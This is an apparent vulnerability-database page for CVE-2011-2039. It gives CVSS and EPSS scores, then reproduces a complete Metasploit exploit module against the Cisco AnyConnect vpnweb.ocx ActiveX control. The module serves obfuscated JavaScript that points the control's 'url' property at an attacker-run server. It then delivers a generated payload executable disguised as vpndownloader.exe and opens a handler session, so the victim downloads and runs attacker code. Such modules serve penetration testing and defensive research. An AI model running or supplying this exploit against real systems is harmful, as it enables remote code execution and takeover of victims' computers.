Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

2011-06-0618:52:26

bannedit <[email protected]>

www.rapid7.com

CVSS2

7.6

Attack Vector

NETWORK

Attack Complexity

HIGH

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:H/Au:N/C:C/I:C/A:C

EPSS

0.807

Percentile

98.4%

JSON

This module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the ‘url’ property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the ‘url’ property. One of these files it will be stored in a temporary directory and executed.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
      'Description'    => %q{
          This module exploits a vulnerability in the Cisco AnyConnect VPN client
        vpnweb.ocx ActiveX control. This control is typically used to install the
        VPN client. An attacker can set the 'url' property which is where the control
        tries to locate the files needed to install the client.

          The control tries to download two files from the site specified within the
        'url' property. One of these files it will be stored in a temporary directory and
        executed.
          },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'bannedit' ],
      'References'     =>
        [
          [ 'CVE', '2011-2039' ],
          [ 'OSVDB', '72714'],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
          [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic',
              {
                'Arch' => ARCH_X86
              }
          ],
        ],
      'DisclosureDate' => '2011-06-01',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
      ])
  end

  def on_request_uri(cli, request)

    if request.uri.match(/vpndownloader\.exe/)
      exe = generate_payload_exe({:code => payload.encoded})

      print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
      send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
      select(nil, nil, nil, 5) # let the file download
      handler(cli)
      return
    end

    if request.uri.match(/updates\.txt/)
      print_status("Client requested: #{request.uri}. Sending updates.txt")
      updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
      send_response(cli, updates, { 'Content-Type' => 'text/plain' })
      return
    end

    url = get_uri(cli)

    dir = rand_text_alpha((rand(40) + 1))
    js = ::Rex::Exploitation::JSObfu.new %Q|
    var x = document.createElement("object");
    x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
    x.url = "#{url}/#{dir}/";
|
    js.obfuscate(memory_sensitive: true)
    html = "<html>\n\t<script>#{js}\t</script>\n</html>"
    print_status("Sending #{self.name}")
    send_response_html(cli, html)
  end
end